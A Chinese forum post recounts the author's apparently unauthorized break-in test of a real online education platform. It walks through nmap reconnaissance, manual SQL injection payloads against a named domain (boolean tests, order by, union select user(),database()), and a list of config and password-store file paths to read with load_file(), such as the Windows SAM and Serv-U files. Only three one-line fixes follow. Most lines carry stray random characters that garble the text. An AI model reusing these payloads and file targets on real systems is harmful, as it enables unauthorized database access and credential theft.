找回密码
 立即注册
查看: 3179|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:. l. Z' g1 Y) L% Y. Y. u& }" Y
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……1 Z& [3 A$ U; W' g4 x7 W
第一步:获取需要的信息
- s% V5 _$ s' j. @% |由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。. `3 j# Q( N" k$ b5 T2 P; c3 k
注:以下为保护特用XXX代替敏感信息
) B3 Y4 k& m  h. X9 v, d) N顺手先PING了一下他们的域名:
8 M8 x- ~3 p+ |  }, _* o6 o. Mping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
! T# n* P  F8 K! X; u% H1 {, y& f64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms. c. S- \/ W( [  \; Y: y6 w
顺便了解一下TTL,学好基础知识才能一路顺风:* H3 z8 |4 |. l! m- Q
TTL:(Time To Live ) 生存时间' M; _$ r7 g0 ]  J  z2 v7 s
指定数据包被路由器丢弃之前允许通过的网段数量。9 r0 E1 c0 ^2 u, g! I, h" B
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
3 \3 n$ I" M" L) C/ _5 |- ^使用PING时涉及到的 ICMP 报文类型& |2 B5 I. U0 w) a  l
一个为ICMP请求回显(ICMP Echo Request)
& @! i: v9 v) g' g一个为ICMP回显应答(ICMP Echo Reply)* s& S5 c0 j6 s) [  Z
TTL 字段值可以帮助我们识别操作系统类型。
! I  F. o) G; F; ]; @( `UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
, ]9 g; E" R+ KCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64: o5 l5 m8 m) k( Z. v. E8 Y& z& A
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1288 d/ t4 q+ A" o5 o$ a* _* N
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 321 q( C7 W  K9 J( ^- c
当然,返回的TTL值是相同的
% J9 }6 \. k) a6 ^但有些情况下有所特殊
- `5 ~$ c8 i/ `( zLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64, _" h, j) L, T2 D- E/ l- {9 j
FreeBSD 4.1, 4.0, 3.4;: Y# B* q3 E+ ]$ P5 q" `! x
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
8 `  i3 ~; x$ X" ]1 n" l0 D- pOpenBSD 2.6, 2.7,8 W! R0 G# n% T
NetBSD' b( ]% D$ K) R* v: f
HP UX 10.20
" u9 E5 b& J- @7 Y. _& x% q$ G& jICMP 回显应答的 TTL 字段值为 255' j6 I4 d9 H+ x8 I/ i8 r1 v9 H
Windows 95/98/98SE
( N* w. z1 f8 x+ G# bWindows ME
  y0 H% C! x8 w: y, f( j+ Z. E( }ICMP 回显应答的 TTL 字段值为 32
8 Z- N* ]. a3 }0 yWindows NT4 WRKS
9 W( @% O, e* X4 cWindows NT4 Server1 t) h( ?7 T: t4 d3 P
Windows 2000
( `8 K; f1 R! {* q  nWindows XP
& U/ N$ Y" [6 b, [. S* X: mICMP 回显应答的 TTL 字段值为 128
- X9 p6 J1 I/ l6 e$ z1 L/ i这样,我们就可以通过这种方法来辨别操作系统0 F( q, j: f  N6 K
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255( z6 c/ t. A7 O  ]+ M7 I
用NMAP扫描一下:# Q4 j7 Z$ m; k6 S, n% n% ?
nmap -sT -O XXX.XXX.XXX.XXX% Y! k' w  P9 `( Q  L* e
如果没有装WinPcap则会弹出提示:- X( K6 G5 s2 N$ U% i% o
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr0 `! g* }3 i5 ~) E
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(+ V6 @/ Q$ ?4 F* }6 B9 R6 `
) mode — Nmap may not function completely+ }( D( |) }: _( p3 g+ Z  h
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
. m  Z6 {, G( g! zand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win3 u+ d4 ~( }0 D9 h0 X3 y
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an$ B/ z& V8 W& P1 h6 y
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
9 f% k0 J  e+ I+ z3 sersions, you may be able to take iphlpapi.dll from another system and place it i+ D2 b5 F% O8 d2 A- h
n your system32 dir (e.g. c:\windows\system32).
2 D4 f8 K# [! D5 x8 u6 N) DQUITTING!
& U4 d, l8 Y2 J) Q* I到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe* l: C8 q" Z' u. t3 ^
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
! {9 ?* W: b) |% uInteresting ports on XXX.XXX.XXX.XXX:
/ Y% d1 e, x# v2 Z& R6 jNot shown: 986 closed ports
+ Q$ p$ e4 b" ~  K0 zPORT     STATE    SERVICE: y8 V  r& a4 Y: x
21/tcp   open     ftp8 @! K; O# [( G- G0 X
22/tcp   open     ssh
4 `9 O9 _/ o, R% d2 y, j6 x23/tcp   open     telnet
, T6 F3 Q. w: z$ ?80/tcp   open     http
: G! ~* Y% M# v7 ~7 f6 V111/tcp  open     rpcbind
% K& Z+ A0 b4 X) z2 C6 Z135/tcp  filtered msrpc
, r$ c% O1 H. H& E5 F139/tcp  filtered netbios-ssn
4 r; s7 ~! h. U445/tcp  filtered microsoft-ds: Z( a7 _+ ^. v# ~7 [
513/tcp  open     login
2 H* c  A" C! ^+ I# U5 E514/tcp  open     shell& S, t/ Y. ?( P
593/tcp  filtered http-rpc-epmap
4 J. C' ^2 ]+ D. a  c1720/tcp filtered H.323/Q.931
( M5 I% S: Y8 o- F3306/tcp open     mysql
( S5 `% i0 F. a! J/ }: V4444/tcp filtered krb524$ r) V* d4 ?7 D
Device type: WAP+ Z9 r: w  n7 w  k5 ?
Running: Linux 2.4.X4 ^) D9 V6 T+ `
OS details: DD-WRT (Linux 2.4.35s); e& Z, s. y7 S0 J$ V6 H
Network Distance: 13 hops4 n4 u% W& G) U4 I2 l
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
( @: P* x% V4 q5 L# Rlogin as:8 P2 ~% _9 o4 y1 [# P0 T1 d7 W1 ?
Telnet23端口也是开着的,用telnet 命令链接一下:
- m; I% t: f  x7 ^5 n$ Etelnet XXX.XXX.XXX.XXX
- R3 P. w/ q, V3 m' |. o" A, |提示:
# m# j* [2 g7 c, fRed Hat Enterprise Linux Server release 5.2 (Tikanga)9 z3 f( F* K* t% {& \& e9 [
Kernel 2.6.18-92.el5PAE on an i686
+ G6 ?4 M6 ?9 hlogin:- n+ y( d  p7 m. k1 {
获取HTTP头信息:+ G* K1 f) y8 m. |( Q) q
在本地执行如下PHP代码
' @5 Y/ U) a/ }" n4 [<?php& \" I) w. O  d6 x9 p
$url = ‘XXX.XXX.XXX.XXX’;5 C, P- E. n- j% l
print_r(get_headers($url));
* e3 V* }" I" o$ M8 a8 H) j( p4 Iprint_r(get_headers($url, 1));
9 F7 e  r# n0 \6 ]?>9 k8 _" W) h9 o4 E$ o
将以上代码保存为PHP文件,执行:
3 f" j- j1 T6 r# L1 S. c% X6 GArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )/ a( D6 _$ T* e) q- _
现在可以得出结论:
( Q0 N& Q$ v+ l  P% V; y系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)$ I8 I' {# T! }, m0 j
内核版本:Kernel 2.6.18-92.el5PAE on an i686
! r' S( d/ P$ x+ S2 i7 MWEB服务器版本:nginx/0.7.61) F# \, M- g- F/ [. P/ U  j( {, Z8 }
第二步,开始测试寻找漏洞
# D, U2 I; s- o! ^分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
( ]! E" x. d) }- ^% u" P% F. S1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的$ g% I3 u- k, ^* L, o- V
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试/ G6 q  M! E8 H/ u
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
7 w9 b0 @8 ?, }6 }: Ehttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误  c! i$ S* ~7 }. g
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
& M( @: i2 w! z( t7 E6 K3、手工注入:
* @$ f' T9 [% V注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
. H/ {9 ?0 X5 B2 a& M+ V' ?3.1 猜测当前表字段数
  F3 F$ Q5 g, j. H: R  v- w! Ihttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
0 b' G; I5 ^$ B* g8 r此处猜测有个简单的算法,都是有技巧的吗,呵呵% s. R- _& y9 K. j% F
算法简单如下:
; p) b5 A0 Z- X3 l/ y$ M) x  l第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
6 ?# |& M# U% |第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
7 s) A% k# K- Q需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
. Y! h5 r, X5 o! i( a7 X; p以此来判断,是否过界,配合取中算法猜出字段数。& n7 N0 }% E8 e+ P3 i2 k
举例:
4 Z, i/ E, }/ r/ z8 z- Bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常. E4 D) P+ L& d' ~3 N% ?# T
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误3 q; ~! w) R4 y$ s/ [, F4 c
此时3则为我们要找的字段数。
4 u& t8 \! O' f: W3.2 配合union联合查询字段在页面所位置7 N9 B1 K, U' X8 Y
我们已经知道了字段数为3,此时则可以做如下操作:- \4 o, b6 s8 p6 z4 ^- w8 x
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
9 d: r/ j0 C% C  x* t  ~$ Q
4 e* c2 a; M/ y2 O这样就可以测试到哪些字段在页面上有所显示了,如图:% E9 S, Y9 R# j% i
1 U2 f' {( B- g
3.3 查敏感信息
" u' f0 e2 D2 t: v/ d- `( j' b这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。/ k, ^' Z6 `8 l( p3 w/ q* N; ?
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()3 d: H# k7 `8 Z  S; ?! T& ^  W# f
3.3.1 先查数据库用户、数据库名,以备后用,如图:' X0 q5 S% w* p# z4 J" J: M, n

9 J; s2 e/ O" ^0 @+ E9 v; _5 M得到数据库用户为root、数据库名为DBxx;
6 e  [# ?# y# q  w0 }3.3.2 查配置文件  H2 j3 g! T% d. ^% t
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。6 w( c$ p$ a7 `0 `& f$ _) e3 ?
查看文件有一定的条件限制:1 H% v# z0 O& ?+ w
欲读取文件必须在服务器上" `: z- R0 ?( h+ K
必须指定文件完整的路径
5 s$ N0 E; C9 _, t必须有权限读取并且文件必须完全可读
; J' G5 O9 a1 a' O8 w欲读取文件必须小于 max_allowed_packet
* T- ~! e0 d2 w# O. uMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。& C# A! c0 z0 B- j
常用的一些:
6 G: P1 I+ o! D% C8 p. s, [/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件+ D* e% a3 R8 `8 n5 h7 L1 O, Z1 ]
/usr/local/apache2/conf/httpd.conf! y1 K2 s3 `, y  h2 {1 ?( i: C
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置5 b9 e- |: @+ t2 ?
/usr/local/app/php5/lib/php.ini //PHP相关设置; P+ Q6 E: ?2 i4 J+ P1 e
/etc/sysconfig/iptables //从中得到防火墙规则策略
5 k7 K, y# E6 ]; H/etc/httpd/conf/httpd.conf // apache配置文件
- ?1 ~7 g- d! o) g6 |9 s: ]% g/etc/rsyncd.conf //同步程序配置文件
2 S1 v. ^0 a& W- B4 r- o: n/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
3 a. w* ?# N3 U& x# o/etc/my.cnf //mysql的配置文件3 C* L# |% b: E# e7 ]
/etc/redhat-release //系统版本6 d) C- L( n. [7 Q& L& `$ x" E
/etc/issue0 e! Q6 x' @: y6 P  t; C( b
/etc/issue.net
9 L) I5 l  R' w! \: |c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码5 u/ ~4 d# `' y; D. E
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码) D  U5 \8 Z7 L5 ~, G2 ^" k- n
c:\Program Files\Serv-U\ServUDaemon.ini- H6 q! n' H/ F4 d3 j0 {7 ^. V2 k
c:\windows\my.ini //MYSQL配置文件& _- p2 f& s! t% t
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
1 [% n* T( X+ }! ?- @等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
0 ^, }9 }6 Y& E- a; yc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
% P) K  d: Z( y" y! Sc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此- T7 @1 X: P# d$ `
c:\Program Files\RhinoSoft.com\ServUDaemon.exe8 J+ j; Q" M; i2 b* r
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
+ _& Y& M# _) B7 S1 y. C" N//存储了pcAnywhere的登陆密码
. L0 u1 b- r2 {; E由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
1 e: V# f- w9 J! ?5 L5 ^这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
8 h1 K, W' F7 f/ X( {最后:防范措施
7 _0 i- D7 k. N6 R' g3 Y& \1、修复PHP注入漏洞;& d+ Z4 D9 J) l6 i2 K
2、Mysql使用普通权限的用户;) i8 a4 p3 x& V( t3 l; h
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表